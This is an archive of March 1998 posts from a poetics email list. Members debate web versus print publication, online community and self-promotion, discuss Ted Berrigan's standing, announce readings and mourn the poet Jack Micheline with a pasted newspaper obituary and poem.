matt, you're right about the "new," of course --- in context --- as is tom bell re jay bolter's book... but here again it *is* a matter of context: i hardly expect to have to justify emedia publication on an electronic list named "poetics"!... i *do* expect to have to interrogate its implications---for poetic form, collective action, network community (not an oxymoron, according to howard rheingold, albeit not imho a substitute for the 'real thing,' gabriel g, but then---shall we thereby forgo same?), etc... at the same time, this list itself emerges out of a public poetic context which, a mere six summers ago, was in many ways unwilling to accept that the internet was here to stay (each of you can 'fess up now, privately, as to what you each believed five years back re email etc.)...

now, in certain circles in which i move, i wouldn't mention jay bolter's book as a starting point (b/c in fact it is dated---albeit i still like his thumbnail history), and i would advocate that the 'new' (whatever it is) would have to be understood as itself time-dependent, itself subject to newer (historical?) developments... which is to say, that in the digital world three years old is ancient... but of course, in the geological world, this is hardly the case... so i use the 'new' hereabouts as a colloquial gesture, yes, but also to tip my hat toward the idea of the new as itself rendered anew... (case in point: i generally check my email before i send out a long-ish post such as this one... reason being something new might have been said in the half-hour or so interim it takes me to compose this, something that negates my feeling the need to say it mself)...

of course, as tom bell indicates, the web is nothing new!---in some sense... in that the printing press as an "agent of change" (e. eisenstein) itself could be thought to emerge from sociocultural coordinates too... many if not most of us have long-since lost the sense of this latter device and its offspring (and its associated distribution networks) in such terms... which is what i'm saying when i ask folks, pedantically perhaps, to think through the assumptions they bring to online spaces from the print world, and---hey, here's the point now---*vice versa*... chopping up trees is not a good thing in itself, nor is the refuse coming out of the plastics industry... in my view, neither can be entirely avoided (not now, anyway)... and we should, as poets, and to be as emphatic about it as i can, get our feet wet in all spheres (a tautological prompt in part, owing to the fact that you're all, skeptical or otherwise, reading this online---again, part of my point here)...

charles b raises a similar issue in his ebr6 piece (which you'll need netscape 3.x or equiv. to view/read!---access again!): (as i recall) that rejections of innovative poetry (please allow me this phrase for just a moment) parallel, rhetorically, rejections of electronic form... that in effect, a similar conservatism underwrites both impulses... of course, this does not foreclose on the possibility that one may like innovative poetry and hate electronic form; or that one may like electronic form and hate innovative poetry... mself, i would fret both of these latter positions...

as dale suggests, spending time online *will* affect our reading and writing habits, in ways that are, i think, only beginning to be documented... matt---i sit on the editorial board of _computers and composition_, have for some years now---and i still regularly run across studies of writing, in print and online, that time and again utilize tacit assumptions from (if you will) a strictly print-literate pov (no sense that the writer has read contemporary poetry, or understands developments in radio during this century, etc.)... the ten-year track record to which you refer is in fact even longer, if you include online communications (as you know, i'm sure)... those of you who are interested, have a look at shoshana zuboff's _in the age of the smart machine_, in which zuboff analyzes an online business scenario from the early 80s... and for that matter, the hawisher leblanc moran selfe history of computers and composition (on ablex) begins in 1979... and for that matter, ted nelson used the term hypertext in the mid-60s, and published the first version of _literary machines_ in 1980... again, a fascinating dialogue on same (with mark amerika, robert coover, and janet murray talking about nelson's book) in the current issue of FEED (you'll need that newer netscape or equiv. again!) at

http://www.feedmag.com/html/document/98.02nelson/98.02nelson_master.html?mail

(odd-looking url, but it works)

as to whether poetry really needs to be read by all or some or (katy): well it's never read by all, is it?... personally, i'll seek the satisfaction of a readership that's interested, small or large, and hope, optimist that i am, that i can make a valuable contribution, somehow... if the web fuels a whitmanian impulse that everyone is speaking, or must speak, to everyone, that's an issue worth pursuing in these spaces too... in any case i agree in general with the suggestion that a new sort of literacy, or set of literacies, is emerging---hence perhaps even a new sense of what we mean by "literacy"---and that this *might* topple prior hierarchies... but not w/o collective effort of some sort, which i suppose need not comprise, always, a purely conscious (political) effort... though i do indeed fear (if that's the word) the coming of a new set of mediated hierarchies, too, much more powerful than those of the past, if much more implicit... virtual, if

you like... a development that in my view is likely to parallel what some on this continent are now calling the booming "office economy"...

i'm enjoying this exchange, really, and learning much from all of you...

best,

joe

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142. **henry gould**
Re: web publication, etc.
Tue 3 Mar 1998

---

amongst all us jaded terminal heads, has anyone mentioned the sheer joy of having your work accessible to people all over the globe? I know, not accessible to everybody yet.

so I find my own attitude is a bit lopsided - asymmetrical. I have trouble READING poetry on the web; but I like having my own junk available to OTHERS!! (this asymmetry, come to think of it, maybe seeps into ALL poetry for me... oh-oh...)

that's honesty for you. I always remember what Wallace Stevens said (though I can't remember the exact quote) - something about: "where would I be if I spent a lot of time paying attention to my contemporaries?"

denounce that attitude if you will, but there's something to it. All the top poets have been blind; a lot were deaf & pretty dumb, too. It's like piano tuning - helps sharpen the mumbling. Like fasting the appetite. I find I play better music if I HAVEN'T practiced for a long time. This doesn't hold for all creative situations - just want everybody to be clear on that. [joke] Down with community - drop like a stone, just so long's you anchor right. - Henry Gould

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143. **D W Have**
No Subject
Tue 3 Mar 1998

In response to the general buzz about cyberspace versus print media etc, I come down on the side of poetry, wherever and however it occurs genuinely and offers something of food value to both reader and writer. That technical innovation will have some effect on the presentation and content of poetry and the lives of poets seems a given, and nothing much to worry about. Rather it offers one more interesting sidelight in the evolution of an art that will continue as long as there are people interested in pursuing it. The difficulty I encounter

as I follow this thread, is that the gist of these posts imply "career" (a word that is probably antithetical to any honest poetic moment, & the very thing the language poets decry in the mainstream/mfa elite) is at the back/middle or front of many people's minds. Of course I may be mistaken, and I do not claim that such things do not enter my own mind, they do. However, I have been writing for twenty five years, sometimes in considerable poverty, partly because another life did not seem to be forthcoming, but also because I willingly resisted it, sometimes out of stubborness, sometimes out of fear, and sometimes because I sensed that it would be harder to write/read/and think with that particular monkey on my back. From such a perspective I have no one to blame or to resist, and the only people I have to thank are a few friends in the art. This is not to say I haven't railed at the way things are in moments of need, and I suppose if fate delivered me into the hands of a career at this point in my life I would probably take it because I need the money. But I am not likely to pursue my writing or its publication as a means to that end right now, mainly because my work is where I prefer to put my energy, but also because I am aware that it is risky to entertwine personal ambition and poetics. Frankly it worries me that so many on this list appear to be in the other camp without at least questioning the potentially dangerous position so much self-promotion (or promotion of one "kind" of poetry against another) can put them in . David Hickman

↑ Index

144. **trace s. ruggles**

Re: Writing in Public

Tue 3 Mar 1998

At 8.03 am -0800 3/3/98, you wrote:
>Pierre Joris just said:

[...]

> *It also seems to me that a lot of people think*
> *that peotry (in the generic sense) should be smeared all over everything--*
>
> *Why the desire to make poetry ubiquitous (as opposed to available)? Poetry*
> *isn't advertising--(the advertising of one's feelings? exhibitionist*
> *poetics?)--*
>
> *Why do some of us keep insisting that the world needs to be reading it*
> *all the time? To be having it put in front of its face?*
>
> *Maybe the "public" has reasons aside from false consciousness etc. for*
> *not wanting to read poetry all the time--*

My wife and I argue all the time about how and why (and when) to read poetry. She almost never does (maybe once or twice a year). Her reasons:

1. it takes too much work to read poetry (even the 'easy' ones)
2. she can't lose her 'self' like she can with novels
3. to her, writing should have 'story'

but, because she very rarely reads poetry, does it mean isn't a force in her life?

She is constantly trying to get me to read novels, but I won't. I don't like them. My reasons:

1. it takes too much work to read novels (even the 'easy' ones)
2. i feel uncomfortable losing my 'self' in a novel
3. to me, writing should have 'experience'

I like it that when I read poetry, I'm aware that I'm a person reading poetry, as well as experiencing the act of reading and whatever 'effects' the poem has on me (or i upon the poem).

So, are we just two types of people who experience writing/life in different ways? Or is one of us right?

Trace

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145. Jordan Davis
"*selby's or someone else's list of experimental poetry readings*"
Tue 3 Mar 1998

Does such a thing exist?

Not, of course, of individual events -- such as Jack Collom's reading with Dug Rothschild tomorrow night at St. Marks, or Tom Raworth's reading with Drew Gardner Thursday at Poetry City -- but the places, times, hosts?

I told a friend of mine I'd find out if there were any reading series in Chicago he could contact, but then I realized the people I thought were in Chicago were actually in entirely different places.

Would it be a useful document or would it provoke headaches?

Jordan Davis
who doesn't like headaches

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146. **Joel Kuszai**
Re: wet kisses and technophilia
Tue 3 Mar 1998

yinz might wanna join the Utopias list at UB. same address as this. this debate has been rocking the utopianist scholars world since i joined that list...for more entertaining discussion of this topic, hook up with the reesarch on anarchism list curtsy of nothinness.org. much of it is in french, spanish, or Italyun, but it makes deleting more triumphal.

On Tue, 3 Mar 1998, Michael J Kelleher wrote:

> *day Thursday*
>
> *On Tue, 3 Mar 1998, Martin Spinelli wrote:*
>
> *OK--*
> *This is neither u- nor dystopia. It is Atopia. Placelessness. The physical*
> *body will not disappear, it will be everywhere at once.*
>
> *The "U" in utopia is "no" and makes the "A" in atopia a bit redundant.*
> *"Noplace" and "Placeless" are both in the same distopian discourse community, no?*
>
> *To belabor:*
>
> *topos being "place"*
>
> *u- being "no" thus "no place" i.e. does not exist*
> *but translated Utopia meaning "place of ideal perfection" whereas*
>
> *dys- being "ill" or "bad" thus*
> *dystopia meaning the opposite of translated utopia, "bad or ill place"*
> *whereas*
>
> *a- (or an-) being "not", "without", or "lacking" thus*
> *atopia meaning without lacking place but implying the existence of*
> *something though not of the "landed" type, say being*
>
> *I forward this definition, uncontentiously, as being distinct from utopia*
> *as it implies not an ironic criticism of human ideals of perfection nor*
> *perfection itself nor perdition, so to speak, but a state of being whose*
> *location or place is not verifiable in physical terms. Thus the utterance*
> *is not "located" in space but rather in the "moment" of it's articualtion*
> *in Time. Placelessness allows for dismbodied, placeless communication*
> *across great distance, in time. Place requires physical presence, which*
> *isn't always possible. No place requires the impossible, perfection. Bad*
> *places we all want to stay out of. Atopia allows us not community, but*
> *communication (between beings in distant places in time) that otherwise we*

> *could or would not have made.*
>
> *Atopia is municipal*
>
> *Truly,*
>
> *Mike*

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147. Joe Amato/Kass Fleisher
whitman...
Tue 3 Mar 1998

---

re whitman, from today's online capsule summary of _chronicle of higher ed_ (hope this isn't a repeat):

> ** WALT WHITMAN imagined himself to be everywhere. Now, in countless digital bits, he is indeed. A team of American-literature scholars has developed the Walt Whitman Hypertext Archive, which contains almost all of Whitman's poetry, facsimiles of manuscripts, galleries of photographs, and more. You can also hear, for the first time on line, a recording of what is thought to be Whitman's voice.*
>
> *--> FOR MORE, go to http://chronicle.com/infotech*

whitman's voice? --- FAR OUT///

best,

joe

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148. Martin Spinelli
wet kisses and technophilia
Tue 3 Mar 1998

OK--
> This is neither u- nor dystopia. It is Atopia. Placelessness. The physical
> body will not disappear, it will be everywhere at once.

The "U" in utopia is "no" and makes the "A" in atopia a bit redundant. "Noplace" and "Placeless" are both in the same distopian discourse community, no?

No fingers pointed, but what we need to underline here, in thick black magic-marker, is the difference between "collective action" (of which I'm sure there are a few good examples on the net) and the rhetorics of "democracy", "utopia",

and "community" which have always only been ads for the emergent technology of the day. The promotional language that surrounded radio in the 20s and 30s was almost word-for- word the same as that used to promote our current stomping ground. I have a relevant piece in PMC January 1996, "Radio Lessons for the Internet"

<http://jefferson.village.virginia.edu/pmc/popcult.all.html>

, or, for those of us denied access to Muse because we don't have accounts at universities that subscribe:

<http://rorty.ist.utl.pt/issue1/pmc.html>

As homey and seductive as it is, I don't find it particularly useful to talk about what we are engaged with here in terms of rediscovering some lost connection. In fact, t's a much more sound to argue that espace proposes itself as the remedy for the very social disjunction (commodity fetishism) which it creates.

> *Adobe Acrobat enables the writer or publisher to distribute a book of any size, formatted in any way, to the Web, mail, ftp, etc. AT NO COST.*

Aside from being just plain wrong--computers, monitors, terminals, modems, phone lines, "access providers" (love that phrase), tuition, computer ed, software, all do COST-- this kind of discussion distracts us a bit from looking at the lit being produced. We can recognize that the net is a decidedly class-b(i)ased phenomenon that allows some people to *feel* like they're participating in a "community" while vacuuming *real* community and political action into itself (and excluding wholesale groups of others), AND talk about (and even ADMIRE) the kinds of "collective action" that Joel rightly suggests it makes possible. I think one of the finest (and funniest) of these projects happened on this very list a couple of years, the Anti- Hegemony Project. There's a little write-up of it (if not the thing itself) at:

<http://writing.upenn.edu/epc/ezines/diu/diu26.5.html>

"Collaboration" was an early ad-line for the net, but I can count the number of good examples of it on a few fingers. Collaborative editing of e-zines and the mish-mash of MOOs aside, I would love to hear about good online textual collaborations. Some of us must know where these things are... or maybe we just don't play well with others.

Missing my community,
Martin

Martin Spinelli

[redacted]
LINEbreak http://writing.upenn.edu/epc/linebreak
ENGAGED http://www.engaged.demon.co.uk

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149. **Maz881**
KSW Reading
Tue 3 Mar 1998

Juliana Spahr, Rob Manery & Bill Luoma will be reading this Saturday March 7 at the Kootenay School of Writing in Vancouver at 8pm. KSW is at 112 West Hastings.

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150. **Gwyn McVay**
newtek & po
Tue 3 Mar 1998

New media. Old media. Books superior. Web a class issue. Okay, fine. What I'd like to see happen is a CD-ROM anthology of American Sign Language poetry--which is out there, and must, by its nature, have a unique poetic, but doesn't get, for lack of a better word, "heard" through the usual channels. Maybe a CD ASL po-zine from Gallaudet?

Then, to make it really interesting, they could play the video clips of poems to ASL-literate apes and get their response. ("You call this poetry? If I had the time, I could write /Hamlet/....")

Gw(seriously)yn

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151. **Steve Tills**
Re: AVEC query
Tue 3 Mar 1998

Linda,

Cydney's e-mail is [redacted].

linda russo wrote:

> *does anyone have Cydney Chadwick's email? I was given an address for her which proved itself unfruitful --*
>
> *thx.*

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152. Annie Finch
Jack Micheline
Tue 3 Mar 1998

I was sorry to hear of the death of Jack Micheline. Jack was a gracious and wild energy in the North Beach poetry scene when I lived there in the late 80's. He was everywhere, selling the socialist newspaper in each cafe and adding poetry to the climate with his intelligence and heart. Have a good one, Jack.

AF

_____
_____
_____
Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

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153. Tim Wood
Looking for input on talk
Tue 3 Mar 1998

I've been asked to give a talk this summer to help poets try to understand what publishers are looking for, etc. I'm planning to push it a little bit and, where appropriate, talk from the opposite view point: how publishers (primarily those of periodicals such as journals) can do a better job of communicating to potential submitters. I would love any suggestions any of you might have on points, nits & grand schemes to make sure I hit.

thanks,
Tim

_____ Tim Wood
[redacted]

poetry is the shock of insight's drive-by

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154. **Mark Weiss**
Re: publishing & prestige
Tue 3 Mar 1998

Actually, my diffidence about electronic publication is pretty simple: if it precludes publication of the same piece in a print publication, or if the electronic submission must be previously unpublished, I'm not interested. Otherwise, why not? I guess that means I still see the web as more ephemeral than print, and that I prefer a smaller audience, if necessary, that's likely to stay with the poem longer.

At 11:47 AM 3/3/98 -0500, you wrote:
>On Tue, 3 Mar 1998, David Israel wrote:
>
>> question: to what extent is the evident quesiness or diffidence abt.
>> web-publishing (vs. paperbook-publishing) tacitly related to issues of
>> prestige? -- (e.g., higher prestige now associated w/ the latter) d.i.
>>
>
>Many of the authors I have so far solicited for a l y r i c m a i l e r
>have asked: does this count as publication? Yes. It should. My
>answer thus far has been that the existence of the large, interested
>readership on this list and others and the (yes, problematic) easy,
>quick-read nature of web-published, text-based poetry might actually
>secure a larger audience for the poetry than would a print-magazine, the
>majority of whose subscribers would probably be university libraries.
>
>Print-culture prestige depends upon the quality of your binding
>and the corporate or non-profit icon there appearing.
>
>
>Truly,
>
>Mike
>
>

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155. **Joe Amato/Kass Fleisher**
Re: publishing & prestige
Tue 3 Mar 1998

---

weird, mark w, how much we differ here: i didn't even put up a website for mself until i had what i thought were sufficient epublications, and certainly didn't and don't want those to overlap with my work in print... didn't put my vita online---didn't see the point... didn't put my print work online either (not saying you shouldn't)... didn't even compose a hypertext till i could come up with something that violated generic differences (whatever its value, it does this)... my website is useful, to me, b/c i use it as a node to 'gather' my online work... in general, i want to publish stuff online intended to be viewed/read (slippage intended) online... i imagine my print pubs overlapping with my electronic pubs---sometimes intended and sometimes not... but not in terms of dupes---i'm talking thematically---lines, concerns, images, etc... i imagine my "self" in this sense as occupying alternating alphabetic, visual and aural habitats...

any writer imagining herself so is bound to require, in the near future, a critical apparatus that can take account of these alternating, con/disjunctive effects... one nice thing about this medium is that it's helped throw the formal issues in relief...

which is to say that, personally, i would recommend---as a different sense of how to go about this---publishing stuff online that in fact you have no intention of publishing elsewhere... if you're even a little creative with online possibilities, any print reprint MUST be a substantively different reading (maybe even writing) experience... which is to say, make it for the screen and it changes, often in subtle ways... why not explore/construct along this axis, just for a change?... what have you got to lose?... the risk is, as always, in the making...

of course there are all SORTSA publishing-business issues that arise when you attempt to publish something in a trade or academic press that was previously published online (and vice versa---as i just discussed backchannel with someone)... one of the interesting issues is whether simply putting something online yourself IS publishing... well of course it is... and if someone links to you---is this publication too?... and when does this activity begin to accrue (in the eyes of whomever) intellectual capital? (which self-publishing today seems not to)... certainly when it generates $$$, but not only then, no?...

best,

joe

email: [redacted]
url: http://www.iit.edu/~amato

↑ Index

156. Joe Amato/Kass Fleisher
glasa conference miami u, oxford ohio...
Tue 3 Mar 1998

my it's been a busy day for me on poetix!... apologies for my long-windedness, but every now and again i feel the urge to rant a bit about the eworld...

just to say that kass fleisher and i will be copresenting on a panel at the great lakes american studies conference, miami u in oxford ohio, this friday at 3:30... our paper is entitled "urgently parallel distributed processsing: how the middle class makes (the) working-class history"...

love to meet anyone from the list!...

best,

joe

↑ Index

157. Hzinnes
reading
Tue 3 Mar 1998

3 March l998

Hollins College, Virginia, is holding its Literary Festival this year during the week-end of March l3. Harriet Zinnes will be reading on March l4, l0 a m, from her book of translations of Jacques Prevert (Blood and FEathers, Moyer Bell, l993) and from her My, Haven't the Flowers Been? (Magic Circle, l995). Are there Virginians on the List? Do come!

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158. Mark Weiss
Re: Looking for input on talk
Tue 3 Mar 1998

Interesting topic. When you find an answer patent it. Tje Junction Press entry in the Dustbooks directory says "Modernist/postmodernist poetry, non-academic," but I get mostly submissions that by anybody's definition fall outside the parameters. Years ago I did a magazine called Broadway Boogie. The name itself should have been a giveaway, as the contents surely were, which didn't stop someone from sending me an incredibly mannered 75 page manuscript in heroic couplets. When I get a real mismatch I often scribble on the return "you could have saved the postage if you'd looked at one of our books," but desperation (I guess) and self-deception are powerful drugs. By the evidence of the cover-letters almost none of my suitors have taken the trouble to find out what I

publish. Which, by the way, isn't very flattering. Maybe someone's done a study that tells these people that making a blind submission to all the publishers in the directory is cost-effective.

At 07:11 PM 3/3/98 -0600, you wrote:
>I've been asked to give a talk this summer to help poets try to understand
>what publishers are looking for, etc. I'm planning to push it a little bit
>and, where appropriate, talk from the opposite view point: how publishers
>(primarily those of periodicals such as journals) can do a better job of
>communicating to potential submitters. I would love any suggestions any of
>you might have on points, nits & grand schemes to make sure I hit.
>
>thanks,
>Tim
>
>
>_____
>Tim Wood [redacted]
>
>poetry is the shock of insight's drive-by
>
>

↑ Index

159. **Mark Weiss**
Re: publishing & prestige
Tue 3 Mar 1998

Joe--I'm not sure that we have polar positions here. That part of your work that you intend for the kind of reading that the web facilitates requires a much surer sense of the medium than I have at present. This may change over time. The "property" issues are real, and aren't for me about money. If I publish a poem on the web that's really ben written with paper in mind do I preclude the possibility of subsequent journal publication? And do e-zines as a rule require that the work they publish never have seen the public light before?

At 07:45 PM 3/3/98 -0600, you wrote:
>weird, mark w, how much we differ here: i didn't even put up a website for
>mself until i had what i thought were sufficient epublications, and
>certainly didn't and don't want those to overlap with my work in print...
>didn't put my vita online---didn't see the point... didn't put my print
>work online either (not saying you shouldn't)... didn't even compose a
>hypertext till i could come up with something that violated generic

>differences (whatever its value, it does this)... my website is useful, to
>me, b/c i use it as a node to 'gather' my online work... in general, i want
>to publish stuff online intended to be viewed/read (slippage intended)
>online... i imagine my print pubs overlapping with my electronic
>pubs---sometimes intended and sometimes not... but not in terms of
>dupes---i'm talking thematically---lines, concerns, images, etc... i
>imagine my "self" in this sense as occupying alternating alphabetic, visual
>and aural habitats...
>
>any writer imagining herself so is bound to require, in the near future, a
>critical apparatus that can take account of these alternating,
>con/disjunctive effects... one nice thing about this medium is that it's
>helped throw the formal issues in relief...
>
>which is to say that, personally, i would recommend---as a different sense
>of how to go about this---publishing stuff online that in fact you have no
>intention of publishing elsewhere... if you're even a little creative with
>online possibilities, any print reprint MUST be a substantively different
>reading (maybe even writing) experience... which is to say, make it for the
>screen and it changes, often in subtle ways... why not explore/construct
>along this axis, just for a change?... what have you got to lose?... the
>risk is, as always, in the making...
>
>of course there are all SORTSA publishing-business issues that arise when
>you attempt to publish something in a trade or academic press that was
>previously published online (and vice versa---as i just discussed
>backchannel with someone)... one of the interesting issues is whether
>simply putting something online yourself IS publishing... well of course it
>is... and if someone links to you---is this publication too?... and when
>does this activity begin to accrue (in the eyes of whomever) intellectual
>capital? (which self-publishing today seems not to)... certainly when it
>generates $$$, but not only then, no?...
>
>best,
>
>joe
>
>email: [redacted]
>url: http://www.iit.edu/~amato
>
>

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160. **Maria Damon**
Re: Poems for the Millennium
Tue 3 Mar 1998

At 11:21 AM +0000 3/3/98, Miekal And wrote:
... I
>have just received a rejection slip from a smalltime college literary
>magazine saying the ongoing collaboration, Literature Nation,
>interwriting by Maria Damon & myself, is definitively not poetry, so I
>wont bother to speak to "where" that is written.
>
>
>rasputin zukofsky

whoa dude! i'm thrilled, like, hello, i'm finally officially a card carrying member of POETIX, having some two-bit college lit mag say, not that it's not good enough poetry for them to publish, but that it's NOT POETRY. "definitively", moreover. can i get a copy of that document for my office door?

↑ Index

161. **Maria Damon**
Re: Jack Micheline
Tue 3 Mar 1998

At 8:03 PM -0500 3/3/98, Annie Finch wrote:
>I was sorry to hear of the death of Jack Micheline. Jack was a gracious
>and wild energy in the North Beach poetry scene when I lived there in the
>late 80's. He was everywhere, selling the socialist newspaper in each cafe
>and adding poetry to the climate with his intelligence and heart. Have a
>good one, Jack.
>
>AF

yes. i remember him from my bob kaufman research daze in SF; his reading at Kaufman's funeral, etc, and his presence at the Beat conference at NYU in, was it 1994? he scared me a little, so i appreciated him from a distance. committed to the end. --md
>_____
>_____
>_____
>Annie Finch
> http://muohio.edu/~finchar
>Assistant Professor of English/Creative Writing

>Miami University
>Oxford, Ohio 45220

↑ Index

162. **dbuuck**
Re: tripwire
Tue 3 Mar 1998

---

re: Franklin Bruno's inquiry about Tripwire---

tripwire is a new poetics journal edited by Yedda Morrison & David Buuck. Issue one is aprox. 150 pages, including an interview with Myung Mi Kim, and work by Noah de Lissovoy, Eleni Sikelianos, Kathy Lou Schultz, Rodrigo Toscano, Sarah Anne Cox, Eliazabeth Robinson, Tan Lin, Jocelyn Saidenberg & Brian Strang, Robert Hale, Tim Davis, Elizabeth Treadwell, Sarah Rosenthal, Dana Lomax, Thiagarajah Selvanithy, Sherry Brennan, Mark Wallace, and others. It includes essays, "work," artwork, reviews, and more.

$6 for one issue / $10 for two --- Published biannually

tripwire
c/o Morrison & Buuck
722 Shotwell #4
SF CA 94110

Date: Mon, 2 Mar 1998 01:53:29 -0800
From: Franklin Bruno <[redacted]>
Subject: tripwire?

I seem to have deleted the ordering info (address, price) for Tripwire that was posted a week or so ago. Could someone repost it (backchannel or otherwise) please?

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163. **ScoutEW**
blah blah blah etc...
Wed 4 Mar 1998

I recently asked you all why some poets like Ted Berrigan are ignored by the "academy" and no-one was interested enough to reply about how they see Berrigan's work, well I guess you all are too busy talking about the WWW!, I suppose the academy of the future is closing its doors to argue about publishing on the web? If anyone wants a break, write to me and explain why some critics call Berrigan an "ardent disciple" and like some kid brother to Frank O' Hara.

An imitator. His writings mean alot to me, and I would like some discussion on the matter.

↑ Index

164. **Joel Kuszai**
Re: blah blah blah etc...
Wed 4 Mar 1998

---

anybody have a literature review on this?

On Wed, 4 Mar 1998, ScoutEW wrote:

> *I recently asked you all why some poets like Ted Berrigan are ignored by the "academy" and no-one was interested enough to reply about how they see Berrigan's work, well I guess you all are too busy talking about the WWW!, I suppose the academy of the future is closing its doors to argue about publishing on the web? If anyone wants a break, write to me and explain why some critics call Berrigan an "ardent disciple" and like some kid brother to Frank O' Hara. An imitator. His writings mean alot to me, and I would like some discussion on the matter.*

anyhow, back to the web.

it was good to meet up with Bill Marsh of poeticslist fame and it proves that there is some humanity to all this. he showed me a nice little cafe where everyone was reading and not talking! imagine! well we lit that place up pretty good--especially when we got to remembering the good old days on poetics. and Mark Weiss your next, Rae? you there? Don? You had all better be at the reading tomorrow. I'm goign to take some time out of staring at endless asymmetries and soon--my fav., the Light Poems---hmmm.

on another affront, I'm not sure what Katy means about making poetry ubiquitous. haven't you ever seen, wuzzit called "streetfare journal"? do they still have that? I'll never forget riding around on the busses of san francisco and seeing creeley poem and nikki giovanni and more. right where the ads are! imagine! and advertising is the poets trade. didn't lew welch write "raid kills bugs dead" ? i've taught that little humdinger of a poem, and it always gets tremendous applause from the students. another one, not so tremendous, is the poem by Reznikoff, goes (from memory) something like:

FOR AN INSCRIPTION OVER A SUBWAY ENTRANCE

This is the gift of Hephestus
the god men say is lame.

I'm not sure if I have that right, but it (for me is a little better than the one about the "girder still itself among the rubble"

↑ Index

165. **david bromige**
reznikoff's girder
Wed 4 Mar 1998

---

has always bugged me. "Still itself amid the rubble." Heck, the girder's rubble, too. Howcum girder specified, here, rubble unspecified, there?

break a leg tomorrow, if thats when you read, Joel. The box of books from Meow arrived, what a breathtaking collection and congratulations, again, on your endeavor! We should be talking about Berrigan (Ted) but we should also be talking about these Meow Press books. I will (must go eat right now, though). db3

↑ Index

166. **Tosh**
Re: blah blah blah etc...
Wed 4 Mar 1998

> *I recently asked you all why some poets like Ted Berrigan are ignored by the "academy" and no-one was interested enough to reply about how they see Berrigan's work, well I guess you all are too busy talking about the WWW!,*

I don't know who the academy is, but I do think Berrigan's work is really really good. What you didn't hear, was a lurker smiling. And yes his complete work should be in print.

Tosh Berman
TamTam Books

↑ Index

167. **Schuchat Simon**
Re: blah blah blah etc...
Wed 4 Mar 1998

---

if you would like to know why Ted Berrigan is sometimes referred to as an "ardent disciple" of Frank O'Hara, I suggest you look at the interview with Berrigan ("On Frank O'Hara's Birthday") which is included in the O'Hara memorial volume edited by Berkson and LeSeur.

Re Berrigan in general, there are more memoirs than criticism, but the Waldman edited NICE TO SEE YOU memorial book has a good share of both. The Tom Clark ("Late Returns") and Ron Padgett ("Ted") memoir volumes, if you don't have them, are worth reading. Aram Saroyan wrote a novel ("The Street")

before Ted died, and a memoir "Friends in the World," both of which deal with Berrigan as person and poet. There is also random stuff by Andrei Codrescu discussing the intrinsic importance of Berrigan.

A couple years ago someone on this list indicated they were writing a Ph.D thesis on the works of Berrigan -- maybe that project has advanced.

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168. **ScoutEW**
Re: blah blah Kuszai
Wed 4 Mar 1998

---

anyhow, back to the web, I detect some sarcasm in your reply. I hoped when I joined this poetics list that I would be able to read some interesting posts on poetics. I wish for more than Kuszai's stupid dismissal of my post...I only wanted to talk about Berrigan and if you want to take that tone pal, then have something more interesting or witty to say than anyhow, back to the web

↑ Index

169. **ScoutEW**
sorry if..
Wed 4 Mar 1998

Kuszai, sorry if you were not meaning to be serious, I feel this web publishing topic has been beat down hard and that you were trying to make light of my post to generate some serious talk on Ted Berrigan by saying "back to the web." So lets talk about Berrigan , Padgett, Ashbery, any of the "New York School" poets, where do they fit in say the (olson /pound /williams) tradition of poetry, more specifically does anyone see "The Sonnets" as collage? enough publishing talk , just do it! By any means necessary!!!

↑ Index

170. **rsillima**
Jack Micheline
Wed 4 Mar 1998

Annie,

It is, I believe, Jack Hirshman who was (and hopefully still is) out hawking CP newspapers at events in SF. Micheline was a friend of his, but a fairly different guy. The best obit I saw was in the SF Examiner (compared with an unforgivably stupid piece in the Chron). Since it includes Jack M's last poem, I paste in below:

Jack Micheline, poet, painter, free spirit

Eric Brazil OF THE EXAMINER STAFF
March 1, 1998

Author of 20-plus books was Beat icon to fellow poets

Jack Micheline, an underground hero among his fellow poets who lived the Bohemia
n life to the hilt, died Friday
on a BART train somewhere between his San Francisco home and Orinda.

Mr. Micheline was 68. His death was attributed to a heart attack. He had been a
diabetic for several years. His
body was found by BART police when the train reached the Orinda station.

Born Harvey Martin Silver in New York, Mr. Micheline changed his name as a young man and committed himself to the artist's life, living by his pen and paintbrush, always poor, always on t he move.

During his lifetime, Mr. Micheline authored more than 20 books, most recently la
st year, when FMSBW Press of
San Francisco brought out "Sixty Seven Poems for Downtrodden Saints."

"We considered him a very pure person," said author Gerald Nicosia of Corte Made
ra. "In the literary business,
most people are in it for fame or money, but he was doing it because he loved wh
at he was doing, and he had a
great gift. There was real music to his poems."

Mr. Micheline had lived in San Francisco, in the South of Market and Mission dis
tricts, since the mid-1970s. And
although he disavowed the label of Beat poet, he was nevertheless a Beat icon - a street poet whose poems were
meant to be spoken and a champion of society's underdogs. Jack Kerouac, author o
f "On the Road" and arguably
the most famous of the Beats, wrote the introduction to Mr. Micheline's first bo
ok, "River of Red Wine."

"His sweet lines revive the poetry of open hope in America," Kerouac wrote.

San Francisco poet Neeli Cherkovski, who knew Mr. Micheline for almost 40 years,
said Saturday, "He always
lived out the romanticism of the poet of the streets, the downtrodden. He never made it to a big publisher - he
always shied away."

Nevertheless, he said, "thousands of young poets in the country kind of march to the rhythms of Jack Micheline. He was always, like, under the underground, and the establishment held him at ar m's length."

The late writer Charles Bukowski, a soul mate, had said Mr. Micheline's poems "a
re total feelings beating their
heads on barroom floors. I can't think of anyone who has more and who has been n
eglected more. Jack is the last
of the holy preachers, sailing down Broadway singing the song."

Although he had tethered himself to San Francisco, Mr. Micheline's restless-ness
never left him, and he stayed on
the move.

"Always quick to pack his bags and take a trip, then roll into town and sleep on my couch until he could get his hotel room back," is the way his publisher, San Francisco Deputy Public Defender Matt Gonzalez, described him.

"He had a lot of different sides. He was very spiritual, and he also had the Bea t sensibility and a great big heart,"
Gonzalez said. "He had an immense number of friends."

Mr. Micheline could also be a pain in the neck to work with - even denying au-tho rship of a poem until shown the manuscript in his handwriting, Gonzalez said. A second printing of his last book is almost ready for publication.

Nicosia said that Mr. Micheline "could be very difficult, but there was a small coterie of people who knew him well,
and you kind of got past that thorny exterior, the loner with the blustery Bronx mannerism. And if you got past
that, there was a real sweetheart in Jack. He was always there for the poor, the homeless, the people left by the
wayside in society."

There was "real music to his poems," Nicosia said. "They sing and they bounce an d they jump around the page."

For example:

OUT OF THE RAINS

Out of the rains

And mud of cities

Walking in a fog

On subway platforms

In Harlem and Brooklyn and Queens

I see the faces of children

Staring at me

And I want to run from the city

Past freights

And ships

And buildings that scrape the sky

I want to race down streets

Dreaming of mountains and Spanish girls

I am a poet

I stare at the ground to see if I am bleeding.

